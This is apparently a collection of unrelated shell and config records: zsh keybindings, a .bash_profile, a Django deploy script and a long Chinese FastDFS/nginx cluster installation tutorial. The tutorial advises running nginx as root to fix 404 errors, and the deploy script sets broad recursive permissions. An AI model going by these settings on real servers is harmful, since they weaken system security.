# bind ctrl-<arrow> keys in useful ways
bindkey '^[[5A' history-search-backward
bindkey '^[[5B' history-search-forward
bindkey '^[[5D' backward-word
bindkey '^[[5C' forward-word
bindkey '^[[1;5A' history-search-backward
bindkey '^[[1;5B' history-search-forward
bindkey '^[[1;5D' backward-word
bindkey '^[[1;5C' forward-word
# load history
history -L
# get Verdi to load my custom configurations
setenv NOVAS_AUTO_SOURCE "${HOME}/dotfiles/verdi_startup.tcl"
| true
|
4d8565082120c47ef6c63c0272ea4d630eca7d7c
|
Shell
|
ffff5912/dotfiles
|
/.bash_profile
|
UTF-8
| 238
| 2.5625
| 3
|
[] |
no_license
|
# .bash_profile
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
export PATH=$PATH
export PATH=$HOME/bin:$PATH
export PATH=/usr/bin:$PATH
export PATH=/usr/local/bin:$PATH
export PATH=/usr/local/sbin:$PATH
export PATH=/opt/python-2.7/bin:$PATH
| true
|
b55af292d48df7821dd4de63fb90326e2122a27d
|
Shell
|
titovanton/bicycle-factory
|
/templates/deploy.sh
|
UTF-8
| 782
| 2.71875
| 3
|
[
"Apache-2.0"
] |
permissive
|
#!/bin/bash
# expample: sudo ./deploy.sh username
if [ ! $1 ]; then
USR=titovanton
else
USR=$1
fi
%PROJECT_DIR%/manage.py glue
%PROJECT_DIR%/manage.py assets build
%PROJECT_DIR%/manage.py collectstatic --noinput
%PROJECT_DIR%/manage.py compilemessages
# sudo cp %PROJECT_DIR%/addon/supervisor/rqworker.conf /etc/supervisor/conf.d/%PROJECT_NAME%_rqworker.conf
# mkdir -p %LOG%/supervisor/
# sudo supervisorctl reread
# sudo supervisorctl update
sudo chown -R $USR:www-data %PROJECT_DIR%
sudo chown -R $USR:www-data %STATIC%
sudo chown -R $USR:www-data %MEDIA%
sudo chown -R $USR:www-data %INTERNAL%
sudo chmod -R 771 %PROJECT_DIR%
sudo chmod -R 775 %STATIC%
sudo chmod -R 775 %MEDIA%
sudo chmod -R 775 %INTERNAL%
sudo touch reload_uwsgi
sudo service nginx --full-restart
| true
|
a84461915c4ee163c975fef4bcbcd4ef4513486a
|
Shell
|
OpenSourceIT/i-edu
|
/iedu-foreman/fai/i-edu/hooks/setup.DEFAULT.sh
|
UTF-8
| 126
| 2.859375
| 3
|
[] |
no_license
|
#! /bin/bash
# use short hostname instead of FQDN
export HOSTNAME=${HOSTNAME%%.*}
echo $HOSTNAME > /proc/sys/kernel/hostname
| true
|
75ae420ef0616204bba78d6690f78360acf35024
|
Shell
|
P79N6A/program_world
|
/install/fastdfs.sh
|
UTF-8
| 30,272
| 2.78125
| 3
|
[
"Apache-2.0"
] |
permissive
|
FastDFS 介绍(参考: http://www.oschina.net/p/fastdfs)
FastDFS 是一个开源的分布式文件系统,它对文件进行管理,功能包括:文件存储、文件同步、文件
访问(文件上传、文件下载)等,解决了大容量存储和负载均衡的问题。特别适合以文件为载体的在线服
务,如相册网站、视频网站等等。
FastDFS 服务端有两个角色:跟踪器( tracker)和存储节点( storage)。跟踪器主要做调度工作,在
访问上起负载均衡的作用。存储节点存储文件,完成文件管理的所有功能:存储、同步和提供存取接口,
FastDFS 同时对文件的 meta data 进行管理。所谓文件的 meta data 就是文件的相关属性,以键值对( key
跟踪器和存储节点都可以由一台多台服务器构成。跟踪器和存储节点中的服务器均可以随时增加或下
线而不会影响线上服务。其中跟踪器中的所有服务器都是对等的,可以根据服务器的压力情况随时增加或
减少。
为了支持大容量,存储节点(服务器)采用了分卷(或分组)的组织方式。存储系统由一个或多个卷
组成,卷与卷之间的文件是相互独立的,所有卷的文件容量累加就是整个存储系统中的文件容量。一个卷
可以由一台或多台存储服务器组成,一个卷下的存储服务器中的文件都是相同的,卷中的多台存储服务器
起到了冗余备份和负载均衡的作用。在卷中增加服务器时,同步已有的文件由系统自动完成,同步完成后,
安装
1、编译和安装所需的依赖包:
# yum install make cmake gcc gcc-c++
2、 安装 libfastcommon ( https://github.com/happyfish100/libfastcommon)
(1)上传或下载 libfastcommon-master.zip 到/usr/local/src 目录, 解压
# cd /usr/local/src/
# unzip libfastcommon-master.zip
# cd libfastcommon-master
(3) 编译、安装
# ./make.sh
# ./make.sh install
libfastcommon 默认安装到了
/usr/lib64/libfastcommon.so
/usr/lib64/libfdfsclient.so
(4)因为 FastDFS 主程序设置的 lib 目录是/usr/local/lib, 所以需要创建软链接.
# ln -s /usr/lib64/libfastcommon.so /usr/local/lib/libfastcommon.so
# ln -s /usr/lib64/libfastcommon.so /usr/lib/libfastcommon.so
# ln -s /usr/lib64/libfdfsclient.so /usr/local/lib/libfdfsclient.so
# ln -s /usr/lib64/libfdfsclient.so /usr/lib/libfdfsclient.so
3、安装 FastDFS ( https://github.com/happyfish100/fastdfs/releases)
(1)上传或下载 FastDFS 源码包( FastDFS_v5.05.tar.gz) 到 /usr/local/src 目录, 解压
# cd /usr/local/src/
# tar -zxvf FastDFS_v5.05.tar.gz
# cd FastDFS
(3)编译、 安装( 编译前要确保已经成功安装了 libfastcommon)
# ./make.sh
# ./make.sh install
采用默认安装的方式安装,安装后的相应文件与目录:
A、 服务脚本在:
/etc/init.d/fdfs_storaged
/etc/init.d/fdfs_tracker
B、 配置文件在(样例配置文件) :
/etc/fdfs/client.conf.sample
/etc/fdfs/storage.conf.sample
/etc/fdfs/tracker.conf.sample
C、 命令工具在/usr/bin/目录下的:
fdfs_appender_test
fdfs_appender_test1
fdfs_append_file
fdfs_crc32
fdfs_delete_file
fdfs_download_file
fdfs_file_info
fdfs_monitor
fdfs_storaged
fdfs_test
fdfs_test1
fdfs_trackerd
fdfs_upload_appender
fdfs_upload_file
stop.sh
restart.sh
(4)因为 FastDFS 服务脚本设置的 bin 目录是/usr/local/bin, 但实际命令安装在/usr/bin, 可以进入
/user/bin 目录使用以下命令查看 fdfs 的相关命令:
# cd /usr/bin/
# ls | grep fdfs
因此需要修改 FastDFS 服务脚本中相应的命令路径,也就是把/etc/init.d/fdfs_storaged
和/etc/init.d/fdfs_tracker 两个脚本中的/usr/local/bin 修改成/usr/bin:
# vi /etc/init.d/fdfs_trackerd
使用查找替换命令进统一修改:%s+/usr/local/bin+/usr/bin
# vi /etc/init.d/fdfs_storaged
使用查找替换命令进统一修改:%s+/usr/local/bin+/usr/bin
以上操作无论是配置 tracker 还是配置 storage 都是必须的,而 tracker 和 storage 的区别主要是
在安装完 fastdfs 之后的配置过程中
配置 FastDFS 跟踪器 Tracker (192.168.1.131 、 192.168.1.132)
1、复制 FastDFS 跟踪器样例配置文件,并重命名:
# cd /etc/fdfs/
# cp tracker.conf.sample tracker.conf
2、编辑跟踪器配置文件:
# vi /etc/fdfs/tracker.conf
修改的内容如下:
disabled=false #启用配置文件
port=22122 #tracker 的端口号,一般采用 22122 这个默认端口
base_path=/fastdfs/tracker #tracker 的数据文件和日志目录
( 其它参数保留默认配置, 具体配置解释请参考官方文档说明: http://bbs.chinaunix.net/thread-
1941456-1-1.html )
3、创建基础数据目录(参考基础目录 base_path 配置) :
# mkdir -p /fastdfs/tracker
4、防火墙中打开跟踪器端口( 默认为 22122) :
# vi /etc/sysconfig/iptables
添加如下端口行:
## FastDFS Tracker Port
-A INPUT -m state --state NEW -m tcp -p tcp --dport 22122 -j ACCEPT
重启防火墙:
# service iptables restart
5、启动 Tracker:
# /etc/init.d/fdfs_trackerd start
( 初次成功启动,会在/fastdfs/tracker 目录下创建 data、 logs 两个目录) 可以通过以下两个方法查
看 tracker 是否启动成功:
(1)查看 22122 端口监听情况:netstat -unltp|grep fdfs
(2)通过以下命令查看 tracker 的启动日志,看是否有错误
tail -100f /fastdfs/tracker/logs/trackerd.log
关闭 Tracker:
# /etc/init.d/fdfs_trackerd stop
设置 FastDFS 跟踪器开机启动:
# vi /etc/rc.d/rc.local
添加以下内容:
## FastDFS Tracker
/etc/init.d/fdfs_trackerd start
配置 FastDFS 存储 ( 192.168.1.135 、 192.168.1.136 、 192.168.1.137 、 192.168.1.138 )
1、复制 FastDFS 存储器样例配置文件,并重命名:
# cd /etc/fdfs/
# cp storage.conf.sample storage.conf
2、编辑存储器样例配置文件(以 group1 中的 storage 节点的 storage.conf 为例):
# vi /etc/fdfs/storage.conf
修改的内容如下:
disabled=false #启用配置文件
group_name=group1 #组名(第一组为 group1, 第二组为 group2)
port=23000 #storage 的端口号,同一个组的 storage 端口号必须相同
base_path=/fastdfs/storage #设置 storage 的日志目录
store_path0=/fastdfs/storage #存储路径
store_path_count=1 #存储路径个数,需要和 store_path 个数匹配
tracker_server=192.168.1.131:22122 #tracker 服务器的 IP 地址和端口
tracker_server=192.168.1.132:22122 #多个 tracker 直接添加多条配置
http.server_port=8888 #设置 http 端口号
( 其它参数保留默认配置, 具体配置解释请参考官方文档说明:
http://bbs.chinaunix.net/thread-1941456-1-1.html )
3、创建基础数据目录(参考基础目录 base_path 配置) :
# mkdir -p /fastdfs/storage
4、防火墙中打开存储器端口( 默认为 23000) :
# vi /etc/sysconfig/iptables
添加如下端口行:
## FastDFS Storage Port
-A INPUT -m state --state NEW -m tcp -p tcp --dport 23000 -j ACCEPT
重启防火墙:
# service iptables restart
5、启动 Storage:
# /etc/init.d/fdfs_storaged start
( 初次成功启动,会在/fastdfs/storage 目录下创建数据目录 data 和日志目录 logs)
各节点启动动,使用 tail -f /fastdfs/storage/logs/storaged.log 命令监听存储节点日志, 可以
看到存储节点链接到跟踪器,并提示哪一个为 leader 跟踪器。 同时也会看到同一组中的其他节点加入
进来的日志信息。
可以看到存储节点状态为 ACTIVE 则可
6、关闭 Storage:
# /etc/init.d/fdfs_storaged stop
7、 设置 FastDFS 存储器开机启动:
# vi /etc/rc.d/rc.local
添加:
## FastDFS Storage
/etc/init.d/fdfs_storaged start
文件上传测试 ( 192.168.1.131 )
1、 修改 Tracker 服务器中的客户端配置文件:
# cp /etc/fdfs/client.conf.sample /etc/fdfs/client.conf
# vi /etc/fdfs/client.conf
base_path=/fastdfs/tracker
tracker_server=192.168.1.131:22122
tracker_server=192.168.1.132:22122
2、执行如下文件上传命令:
# /usr/bin/fdfs_upload_file /etc/fdfs/client.conf /usr/local/src/FastDFS_v5.05.tar.gz
返回 ID 号:
group1/M00/00/00/wKgBh1Xtr9-AeTfWAAVFOL7FJU4.tar.gz
group2/M00/00/00/wKgBiVXtsDmAe3kjAAVFOL7FJU4.tar.gz
(能返回以上文件 ID, 说明文件上传成功)
在各存储节点( 192.168.1.135、 192.168.1.136、 192.168.1.137、 192.168.1.138) 上安装 Nginx
1、fastdfs-nginx-module 作用说明
FastDFS 通过 Tracker 服务器,将文件放在 Storage 服务器存储, 但是同组存储服务器之间需要进入
文件复制, 有同步延迟的问题。假设 Tracker 服务器将文件上传到了 192.168.1.135,上传成功后文件 ID
已经返回给客户端。此时 FastDFS 存储集群机制会将这个文件同步到同组存储 192.168.1.136,在文件还
没有复制完成的情况下,客户端如果用这个文件 ID 在 192.168.1.136 上取文件,就会出现文件无法访问的
错误。而 fastdfs-nginx-module 可以重定向文件连接到源服务器取文件,避免客户端由于复制延迟导致的
2、上传 fastdfs-nginx-module_v1.16.tar.gz 到/usr/local/src, 解压
# cd /usr/local/src/
# tar -zxvf fastdfs-nginx-module_v1.16.tar.gz
3、修改 fastdfs-nginx-module 的 config 配置文件
# vi /usr/local/src/fastdfs-nginx-module/src/config
CORE_INCS="$CORE_INCS /usr/local/include/fastdfs /usr/local/include/fastcommon/"
修改为: CORE_INCS="$CORE_INCS /usr/include/fastdfs /usr/include/fastcommon/"
( 注意: 这个路径修改是很重要的,不然在 nginx 编译的时候会报错的)
4、上传当前的稳定版本 Nginx(nginx-1.6.2.tar.gz)到/usr/local/src 目录
5、安装编译 Nginx 所需的依赖包
# yum install gcc gcc-c++ make automake autoconf libtool pcre pcre-devel zlib zlib-devel
openssl openssl-devel
6、编译安装 Nginx(添加 fastdfs-nginx-module 模块)
# cd /usr/local/src/
# tar -zxvf nginx-1.6.2.tar.gz
# cd nginx-1.6.2
# ./configure --prefix=/usr/local/nginx --add-module=/usr/local/src/fastdfs-nginx-module/src
# make && make install
7、复制 fastdfs-nginx-module 源码中的配置文件到/etc/fdfs 目录, 并修改
# cp /usr/local/src/fastdfs-nginx-module/src/mod_fastdfs.conf /etc/fdfs/
# vi /etc/fdfs/mod_fastdfs.conf
(1)第一组 Storage 的 mod_fastdfs.conf 配置如下:
connect_timeout=10
base_path=/tmp
tracker_server=192.168.1.131:22122
tracker_server=192.168.1.132:22122
storage_server_port=23000
group_name=group1
url_have_group_name = true
store_path0=/fastdfs/storage
group_count = 2
[group1]
group_name=group1
storage_server_port=23000
store_path_count=1
store_path0=/fastdfs/storage
[group2]
group_name=group2
storage_server_port=23000
store_path_count=1
store_path0=/fastdfs/storage
(2)第一组 Storage 的 mod_fastdfs.conf 配置与第一组配置只有 group_name 不同:
group_name=group2
8、复制 FastDFS 的部分配置文件到/etc/fdfs 目录
# cd /usr/local/src/FastDFS/conf
# cp http.conf mime.types /etc/fdfs/
9、在/fastdfs/storage 文件存储目录下创建软连接,将其链接到实际存放数据的目录
# ln -s /fastdfs/storage/data/ /fastdfs/storage/data/M00
10、配置 Nginx, 简洁版 nginx 配置样例:
# vi /usr/local/nginx/conf/nginx.conf
user root;
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 8888;
server_name localhost;
location ~/group([0-9])/M00 {
#alias /fastdfs/storage/data;
ngx_fastdfs_module;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
注意、 说明:
A、 8888 端口值是要与/etc/fdfs/storage.conf 中的 http.server_port=8888 相对应,
因为 http.server_port 默认为 8888,如果想改成 80,则要对应修改过来。
B、 Storage 对应有多个 group 的情况下,访问路径带 group 名,如/group1/M00/00/00/xxx,
对应的 Nginx 配置为:
location ~/group([0-9])/M00 {
ngx_fastdfs_module;
} C 如查下载时如发现老报 404, 将 nginx.conf 第一行 user nobody 修改为 user root 后重新启动。
11、防火墙中打开 Nginx 的 8888 端口
# vi /etc/sysconfig/iptables
添加:
## Nginx Port
-A INPUT -m state --state NEW -m tcp -p tcp --dport 8888 -j ACCEPT
重启防火墙: # service iptables restart
12、启动 Nginx
# /usr/local/nginx/sbin/nginx
ngx_http_fastdfs_set pid=xxx
(重启 Nginx 的命令为: /usr/local/nginx/sbin/nginx -s reload)
设置 Nginx 开机启动
# vi /etc/rc.local
加入:
/usr/local/nginx/sbin/nginx
13、通过浏览器访问测试时上传的文件
http://192.168.1.135:8888/group1/M00/00/00/wKgBh1Xtr9-AeTfWAAVFOL7FJU4.tar.gz
http://192.168.1.137:8888/group2/M00/00/00/wKgBiVXtsDmAe3kjAAVFOL7FJU4.tar.gz
在跟踪器节点( 192.168.1.131、 192.168.1.132)上安装 Nginx
1、 在 tracker 上安装的 nginx 主要为了提供 http 访问的反向代理、负载均衡以及缓存服务。
2、 安装编译 Nginx 所需的依赖包
# yum install gcc gcc-c++ make automake autoconf libtool pcre pcre-devel zlib zlib-devel
openssl openssl-devel
3、上传 ngx_cache_purge-2.3.tar.gz 到/usr/local/src,解压
# cd /usr/local/src/
# tar -zxvf ngx_cache_purge-2.3.tar.gz
4、上传当前的稳定版本 Nginx(nginx-1.6.2.tar.gz)到/usr/local/src 目录
5、编译安装 Nginx(添加 ngx_cache_purge 模块)
# cd /usr/local/src/
# tar -zxvf nginx-1.6.2.tar.gz
# cd nginx-1.6.2
# ./configure --prefix=/usr/local/nginx --add-module=/usr/local/src/ngx_cache_purge-2.3
# make && make install
6、配置 Nginx, 设置负载均衡以及缓存
# vi /usr/local/nginx/conf/nginx.conf
user root;
worker_processes 1;
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
#pid logs/nginx.pid;
events {
worker_connections 1024;
use epoll;
}
http {
include mime.types;
default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';
#access_log logs/access.log main;
sendfile on;
tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
#gzip on;
#设置缓存
server_names_hash_bucket_size 128;
client_header_buffer_size 32k;
large_client_header_buffers 4 32k;
client_max_body_size 300m;
proxy_redirect off;
proxy_set_header Host $http_host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_connect_timeout 90;
proxy_send_timeout 90;
proxy_read_timeout 90;
proxy_buffer_size 16k;
proxy_buffers 4 64k;
proxy_busy_buffers_size 128k;
proxy_temp_file_write_size 128k;
#设置缓存存储路径、存储方式、分配内存大小、磁盘最大空间、缓存期限
proxy_cache_path /fastdfs/cache/nginx/proxy_cache levels=1:2
keys_zone=http-cache:200m max_size=1g inactive=30d;
proxy_temp_path /fastdfs/cache/nginx/proxy_cache/tmp;
#设置 group1 的服务器
upstream fdfs_group1 {
server 192.168.1.135:8888 weight=1 max_fails=2 fail_timeout=30s;
server 192.168.1.136:8888 weight=1 max_fails=2 fail_timeout=30s;
} #
设置 group2 的服务器
upstream fdfs_group2 {
server 192.168.1.137:8888 weight=1 max_fails=2 fail_timeout=30s;
server 192.168.1.138:8888 weight=1 max_fails=2 fail_timeout=30s;
}
server {
listen 8000;
server_name localhost;
#charset koi8-r;
#access_log logs/host.access.log main;
#设置 group 的负载均衡参数
location /group1/M00 {
proxy_next_upstream http_502 http_504 error timeout invalid_header;
proxy_cache http-cache;
proxy_cache_valid 200 304 12h;
proxy_cache_key $uri$is_args$args;
proxy_pass http://fdfs_group1;
expires 30d;
}
location /group2/M00 {
proxy_next_upstream http_502 http_504 error timeout invalid_header;
proxy_cache http-cache;
proxy_cache_valid 200 304 12h;
proxy_cache_key $uri$is_args$args;
proxy_pass http://fdfs_group2;
expires 30d;
} #
设置清除缓存的访问权限
location ~/purge(/.*) {
allow 127.0.0.1;
allow 192.168.1.0/24;
deny all;
proxy_cache_purge http-cache $1$is_args$args;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}
按
以上 nginx 配置文件的要求,创建对应的缓存目录:
# mkdir -p /fastdfs/cache/nginx/proxy_cache
# mkdir -p /fastdfs/cache/nginx/proxy_cache/tmp
7、系统防火墙打开对应的端口
# vi /etc/sysconfig/iptables
## Nginx
-A INPUT -m state --state NEW -m tcp -p tcp --dport 8000 -j ACCEPT
# service iptables restart
8、 启动 Nginx
# /usr/local/nginx/sbin/nginx
重启 Nginx
# /usr/local/nginx/sbin/nginx -s reload
设置 Nginx 开机启动
# vi /etc/rc.local
加入: /usr/local/nginx/sbin/nginx
9、文件访问测试
前面直接通过访问 Storage 节点中的 Nginx 的文件
http://192.168.1.135:8888/group1/M00/00/00/wKgBh1Xtr9-AeTfWAAVFOL7FJU4.tar.gz
http://192.168.1.137:8888/group2/M00/00/00/wKgBiVXtsDmAe3kjAAVFOL7FJU4.tar.gz
现在可以通过 Tracker 中的 Nginx 来进行访问
(1)通过 Tracker1 中的 Nginx 来访问
http://192.168.1.131:8000/group1/M00/00/00/wKgBh1Xtr9-AeTfWAAVFOL7FJU4.tar.gz
http://192.168.1.131:8000/group2/M00/00/00/wKgBiVXtsDmAe3kjAAVFOL7FJU4.tar.gz
(2)通过 Tracker2 中的 Nginx 来访问
http://192.168.1.132:8000/group1/M00/00/00/wKgBh1Xtr9-AeTfWAAVFOL7FJU4.tar.gz
http://192.168.1.132:8000/group2/M00/00/00/wKgBiVXtsDmAe3kjAAVFOL7FJU4.tar.gz
由上面的文件访问效果可以看到,每一个 Tracker 中的 Nginx 都单独对后端的 Storage 组做了负载均衡,
但整套 FastDFS 集群如果想对外提供统一的文件访问地址,还需要对两个 Tracker 中的 Nginx 进行 HA 集
群
使用 Keepalived + Nginx 组成的高可用负载均衡集群做两个 Tracker 节点中 Nginx 的负载均衡
1、《 Dubbo 视频教程--高可用架构篇--第 08 节--Keepalived+Nginx 实现高可用负载均衡》
2、在 Keepalived+Nginx 实现高可用负载均衡集群中配置 Tracker 节点中 Nginx 的负载均衡反向代理
(192.168.1.51 和 192.168.1.52 中的 Nginx 执行相同的配置)
# vi /usr/local/nginx/conf/nginx.conf
user root;
worker_processes 1;
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
#pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
#log_format main '$remote_addr - $remote_user [$time_local] "$request" '
# '$status $body_bytes_sent "$http_referer" '
# '"$http_user_agent" "$http_x_forwarded_for"';
#access_log logs/access.log main;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
#gzip on;
## FastDFS Tracker Proxy
upstream fastdfs_tracker {
server 192.168.1.131:8000 weight=1 max_fails=2 fail_timeout=30s;
server 192.168.1.132:8000 weight=1 max_fails=2 fail_timeout=30s;
}
server {
listen 88;
server_name localhost;
#charset koi8-r;
#access_log logs/host.access.log main;
location / {
root html;
index index.html index.htm;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
## FastDFS Proxy
location /dfs {
root html;
index index.html index.htm;
proxy_pass http://fastdfs_tracker/;
proxy_set_header Host $http_host;
proxy_set_header Cookie $http_cookie;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
client_max_body_size 300m;
}
}
}
3、重启 192.168.1.51 和 192.168.1.52 中的 Nginx
# /usr/local/nginx/sbin/nginx -s reload
4、通过 Keepalived+Nginx 组成的高可用负载集群的 VIP(192.168.1.50)来访问 FastDFS 集群中的文件
http://192.168.1.50:88/dfs/group1/M00/00/00/wKgBh1Xtr9-AeTfWAAVFOL7FJU4.tar.gz
http://192.168.1.50:88/dfs/group2/M00/00/00/wKgBiVXtsDmAe3kjAAVFOL7FJU4.tar.gz
九、FastDFS 集群在简易版支付系统中的使用
具体内容请看视频教程
注意: 千万不要使用 kill -9 命令强杀 FastDFS 进程,否则可能会导致 binlog 数据丢失。
FastDFS 分布式文件系统的安装与使用(单节点)
跟踪服务器: 192.168.4.121 (edu-dfs-tracker-01)
存储服务器: 192.168.4.125 (edu-dfs-storage-01)
环境: CentOS 6.6
用户: root
数据目录: /fastdfs ( 注: 数据目录按你的数据盘挂载路径而定)
安装包:
FastDFS v5.05
libfastcommon-master.zip( 是从 FastDFS 和 FastDHT 中提取出来的公共 C 函数库)
fastdfs-nginx-module_v1.16.tar.gz
nginx-1.6.2.tar.gz
fastdfs_client_java._v1.25.tar.gz
源码地址: https://github.com/happyfish100/
下载地址: http://sourceforge.net/projects/fastdfs/files/
官方论坛: http://bbs.chinaunix.net/forum-240-1.html
一、所有跟踪服务器和存储服务器均执行如下操作
1、 编译和安装所需的依赖包:
# yum install make cmake gcc gcc-c++
2、 安装 libfastcommon:
(1)上传或下载 libfastcommon-master.zip 到/usr/local/src 目录
(2)解压
# cd /usr/local/src/
# unzip libfastcommon-master.zip
# cd libfastcommon-master
(3)编译、安装
# ./make.sh
# ./make.sh install
libfastcommon 默认安装到了
/usr/lib64/libfastcommon.so
/usr/lib64/libfdfsclient.so
(4)因为 FastDFS 主程序设置的 lib 目录是/usr/local/lib, 所以需要创建软链接.
# ln -s /usr/lib64/libfastcommon.so /usr/local/lib/libfastcommon.so
# ln -s /usr/lib64/libfastcommon.so /usr/lib/libfastcommon.so
# ln -s /usr/lib64/libfdfsclient.so /usr/local/lib/libfdfsclient.so
# ln -s /usr/lib64/libfdfsclient.so /usr/lib/libfdfsclient.so
3、安装 FastDFS
(1)上传或下载 FastDFS 源码包( FastDFS_v5.05.tar.gz) 到 /usr/local/src 目录
(2)解压
# cd /usr/local/src/
# tar -zxvf FastDFS_v5.05.tar.gz
# cd FastDFS
(3)编译、 安装(编译前要确保已经成功安装了 libfastcommon)
# ./make.sh
# ./make.sh install
采用默认安装的方式安装,安装后的相应文件与目录:
A、 服务脚本在:
/etc/init.d/fdfs_storaged
/etc/init.d/fdfs_tracker
B、 配置文件在(样例配置文件) :
/etc/fdfs/client.conf.sample
/etc/fdfs/storage.conf.sample
/etc/fdfs/tracker.conf.sample
C、 命令工具在/usr/bin/目录下的:
fdfs_appender_test
fdfs_appender_test1
fdfs_append_file
fdfs_crc32
fdfs_delete_file
fdfs_download_file
fdfs_file_info
fdfs_monitor
fdfs_storaged
基于 Dubbo 的分布式系统架构视频教程(以第三方支付系统为背景)
吴水成(wu-sc@foxmail.com) , 学习交流 QQ 群: 367211134
fdfs_test
fdfs_test1
fdfs_trackerd
fdfs_upload_appender
fdfs_upload_file
stop.sh
restart.sh
(4)因为 FastDFS 服务脚本设置的 bin 目录是/usr/local/bin, 但实际命令安装在/usr/bin, 可以进入
/user/bin 目录使用以下命令查看 fdfs 的相关命令:
# cd /usr/bin/
# ls | grep fdfs
因此需要修改 FastDFS 服务脚本中相应的命令路径,也就是把/etc/init.d/fdfs_storaged
和/etc/init.d/fdfs_tracker 两个脚本中的/usr/local/bin 修改成/usr/bin:
# vi fdfs_trackerd
使用查找替换命令进统一修改:%s+/usr/local/bin+/usr/bin
# vi fdfs_storaged
使用查找替换命令进统一修改:%s+/usr/local/bin+/usr/bin
二、配置 FastDFS 跟踪器(192.168.4.121)
1、复制 FastDFS 跟踪器样例配置文件,并重命名:
# cd /etc/fdfs/
# cp tracker.conf.sample tracker.conf
2、编辑跟踪器配置文件:
# vi /etc/fdfs/tracker.conf
修改的内容如下:
disabled=false
port=22122
base_path=/fastdfs/tracker
( 其它参数保留默认配置, 具体配置解释请参考官方文档说明:
http://bbs.chinaunix.net/thread-1941456-1-1.html )
3、创建基础数据目录(参考基础目录 base_path 配置) :
# mkdir -p /fastdfs/tracker
4、防火墙中打开跟踪器端口( 默认为 22122) :
# vi /etc/sysconfig/iptables
添加如下端口行:
-A INPUT -m state --state NEW -m tcp -p tcp --dport 22122 -j ACCEPT
重启防火墙:
# service iptables restart
5、启动 Tracker:
# /etc/init.d/fdfs_trackerd start
( 初次成功启动,会在/fastdfs/tracker 目录下创建 data、 logs 两个目录)
查看 FastDFS Tracker 是否已成功启动:
# ps -ef | grep fdfs
6、关闭 Tracker:
# /etc/init.d/fdfs_trackerd stop
7、设置 FastDFS 跟踪器开机启动:
# vi /etc/rc.d/rc.local
添加以下内容:
## FastDFS Tracker
/etc/init.d/fdfs_trackerd start
三、配置 FastDFS 存储(192.168.4.125)
1、 复制 FastDFS 存储器样例配置文件,并重命名:
# cd /etc/fdfs/
# cp storage.conf.sample storage.conf
2、编辑存储器样例配置文件:
# vi /etc/fdfs/storage.conf
修改的内容如下:
disabled=false
port=23000
base_path=/fastdfs/storage
store_path0=/fastdfs/storage
tracker_server=192.168.4.121:22122
http.server_port=8888
( 其它参数保留默认配置, 具体配置解释请参考官方文档说明:
http://bbs.chinaunix.net/thread-1941456-1-1.html )
3、创建基础数据目录(参考基础目录 base_path 配置) :
# mkdir -p /fastdfs/storage
4、防火墙中打开存储器端口( 默认为 23000) :
# vi /etc/sysconfig/iptables
添加如下端口行:
-A INPUT -m state --state NEW -m tcp -p tcp --dport 23000 -j ACCEPT
重启防火墙:
# service iptables restart
5、启动 Storage:
# /etc/init.d/fdfs_storaged start
( 初次成功启动,会在/fastdfs/storage 目录下创建 data、 logs 两个目录)
查看 FastDFS Storage 是否已成功启动
# ps -ef | grep fdfs
6、关闭 Storage:
# /etc/init.d/fdfs_storaged stop
7、 设置 FastDFS 存储器开机启动:
# vi /etc/rc.d/rc.local
添加:
## FastDFS Storage
/etc/init.d/fdfs_storaged start
四、文件上传测试(192.168.4.121)
1、修改 Tracker 服务器中的客户端配置文件:
# cp /etc/fdfs/client.conf.sample /etc/fdfs/client.conf
# vi /etc/fdfs/client.conf
base_path=/fastdfs/tracker
tracker_server=192.168.4.121:22122
2、执行如下文件上传命令:
# /usr/bin/fdfs_upload_file /etc/fdfs/client.conf /usr/local/src/FastDFS_v5.05.tar.gz
返回 ID 号: group1/M00/00/00/wKgEfVUYNYeAb7XFAAVFOL7FJU4.tar.gz
(能返回以上文件 ID, 说明文件上传成功)
六、在每个存储节点上安装 nginx
1、fastdfs-nginx-module 作用说明
FastDFS 通过 Tracker 服务器,将文件放在 Storage 服务器存储, 但是同组存储服务器之间需要进入
文件复制, 有同步延迟的问题。假设 Tracker 服务器将文件上传到了 192.168.4.125,上传成功后文件 ID
已经返回给客户端。此时 FastDFS 存储集群机制会将这个文件同步到同组存储 192.168.4.126,在文件还
没有复制完成的情况下,客户端如果用这个文件 ID 在 192.168.4.126 上取文件,就会出现文件无法访问的
错误。而 fastdfs-nginx-module 可以重定向文件连接到源服务器取文件,避免客户端由于复制延迟导致的
文件无法访问错误。( 解压后的 fastdfs-nginx-module 在 nginx 安装时使用)
2、上传 fastdfs-nginx-module_v1.16.tar.gz 到/usr/local/src
3、解压
# cd /usr/local/src/
# tar -zxvf fastdfs-nginx-module_v1.16.tar.gz
4、 修改 fastdfs-nginx-module 的 config 配置文件
# cd fastdfs-nginx-module/src
# vi config
CORE_INCS="$CORE_INCS /usr/local/include/fastdfs /usr/local/include/fastcommon/"
修改为:
CORE_INCS="$CORE_INCS /usr/include/fastdfs /usr/include/fastcommon/"
( 注意: 这个路径修改是很重要的,不然在 nginx 编译的时候会报错的)
5、 上传当前的稳定版本 Nginx(nginx-1.6.2.tar.gz)到/usr/local/src 目录
6、 安装编译 Nginx 所需的依赖包
# yum install gcc gcc-c++ make automake autoconf libtool pcre* zlib openssl openssl-devel
7、 编译安装 Nginx(添加 fastdfs-nginx-module 模块)
